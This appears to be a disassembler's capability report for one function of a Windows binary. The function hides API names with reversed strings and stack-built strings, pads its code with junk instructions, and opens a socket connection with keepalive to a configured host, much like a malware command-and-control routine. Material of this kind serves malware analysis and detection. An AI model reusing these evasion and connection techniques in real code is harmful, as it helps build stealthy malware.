Function at 0x401e80
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
push edi
mov dword [ebp - 0x50], ecx
push 0x411cd8
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 4
xor eax, eax
mov al, byte [0x4119b4]
and eax, 1
test eax, eax
jne 0x401eca
mov cl, byte [0x4119b4]
or cl, 1
mov byte [0x4119b4], cl
push str.tnevEteseR
call dword [sym.imp.MSVCRT.dll__strrev]
add esp, 4
mov dword [0x4119a8], eax
mov edx, dword [0x4119a8]
push edx
push 0x4100a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
push str.gethostbyname
push 0x4100c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x50]
call fcn.004022d0
mov eax, dword [ebp - 0x50]
mov ecx, dword [eax + 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, dword [ebp - 0x50]
mov byte [edx + 0xb5], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x34], 0x73
mov byte [ebp - 0x33], 0x65
mov byte [ebp - 0x32], 0x74
mov byte [ebp - 0x31], 0x73
mov byte [ebp - 0x30], 0x6f
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x6b
mov byte [ebp - 0x2d], 0x6f
mov byte [ebp - 0x2c], 0x70
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0
lea eax, [ebp - 0x34]
push eax
push 0x4100c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp dword [0x4119d4], 0
je 0x401f91
cmp dword [0x4119d4], 4
je 0x401f91
cmp dword [0x4119d4], 5
je 0x401f91
xor al, al
jmp 0x4022c6
push 6
push 1
push 2
call dword [0x4119d0]
mov ecx, dword [ebp - 0x50]
mov dword [ecx + 0xa8], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x50]
cmp dword [edx + 0xa8], 0xffffffff
jne 0x401fde
push ecx
add ecx, 0xffffffff
add ecx, 1
sub esp, 2
add esp, 2
pop ecx
add ebp, 2
dec ebp
dec ebp
mov eax, eax
push esi
je 0x401fd6
pop esi
xor al, al
jmp 0x4022c6
push str.htons
push 0x4100c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x3c], 0
cmp dword [0x4119d4], 0
je 0x402015
push 0x4119d8
call dword [ebp - 0x10]
mov dword [ebp - 0x3c], eax
jmp 0x40201f
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x10]
mov dword [ebp - 0x3c], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x3c], 0
jne 0x402034
xor al, al
jmp 0x4022c6
push 0x411cd8
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 4
mov word [ebp - 0x28], 2
cmp dword [0x4119d4], 0
je 0x402062
mov cx, word [0x4100cc]
push ecx
call dword [ebp - 0x14]
mov word [ebp - 0x26], ax
jmp 0x40206e
mov dx, word [ebp + 0xc]
push edx
call dword [ebp - 0x14]
mov word [ebp - 0x26], ax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0x24], eax
push str.connect
push 0x4100c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x411cd8
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 4
push 0x411cd8
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 4
push 0x411cd8
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 4
push 0x10
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x50]
mov eax, dword [edx + 0xa8]
push eax
call dword [ebp - 0xc]
mov dword [ebp - 4], eax
push 0x411cd8
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 4
push 0x411cd8
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 4
push 0x411cd8
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 4
cmp dword [ebp - 4], 0xffffffff
jne 0x402114
xor al, al
jmp 0x4022c6
push ecx
add ecx, 0xffffffff
add ecx, 1
sub esp, 2
add esp, 2
pop ecx
add ebp, 2
dec ebp
dec ebp
mov eax, eax
push esi
je 0x402130
pop esi
btr ebx, 0xf4
xadd eax, ebx
xchg ebx, eax
test eax, 0x534f82bb
sub bl, dl
mov eax, edx
xchg al, bl
mov al, cl
movzx ebx, bx
not bh
rcl ebx, 0x4b
or eax, 0x393eeb01
imul ebx, ebp, 0x5a429437
movzx eax, si
mov eax, 0xfc226531
test ebx, edx
sub bh, 0x82
test bl, al
bsr eax, ebp
shr ebx, 1
imul ebx, eax, 0xd815a07e
sbb al, 0x7b
test edi, edi
shl bl, cl
movsx ebx, dx
neg bl
bswap ebx
add ah, al
not eax
xadd bl, al
shrd ebx, eax, cl
movzx eax, cx
mov bl, 0x5d
imul ebx, esi, 0x9c792c83
neg ah
movzx ebx, dh
inc eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x4119d4], 5
jne 0x4021d5
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x50]
call fcn.00401e70
and eax, 0xff
test eax, eax
jne 0x4021d5
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
jmp 0x4022c6
mov byte [ebp - 0x38], 1
push 1
lea eax, [ebp - 0x38]
push eax
push 8
push 0xffff
mov ecx, dword [ebp - 0x50]
mov edx, dword [ecx + 0xa8]
push edx
call dword [ebp - 8]
test eax, eax
jne 0x40228e
push 0x411cd8
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 4
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x48], 0x2bf20
mov dword [ebp - 0x44], 0x3a98
xor eax, eax
mov al, byte [0x4119b4]
and eax, 2
test eax, eax
jne 0x40224e
mov cl, byte [0x4119b4]
or cl, 2
mov byte [0x4119b4], cl
push str.ltcoIASW
call dword [sym.imp.MSVCRT.dll__strrev]
add esp, 4
mov dword [0x4119a4], eax
mov edx, dword [0x4119a4]
push edx
push 0x4100c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x40], eax
push 0
push 0
lea eax, [ebp - 0x38]
push eax
push 0
push 0
push 0xc
lea ecx, [ebp - 0x4c]
push ecx
push 0x98000004
mov edx, dword [ebp - 0x50]
mov eax, dword [edx + 0xa8]
push eax
call dword [ebp - 0x40]
mov ecx, dword [ebp - 0x50]
mov byte [ecx + 0xb5], 1
push 1
push 0
push 0
mov edx, dword [ebp - 0x50]
push edx
push 0x401d10
push 0
push 0
call fcn.00407770
add esp, 0x1c
mov ecx, dword [ebp - 0x50]
mov dword [ecx + 0xa4], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8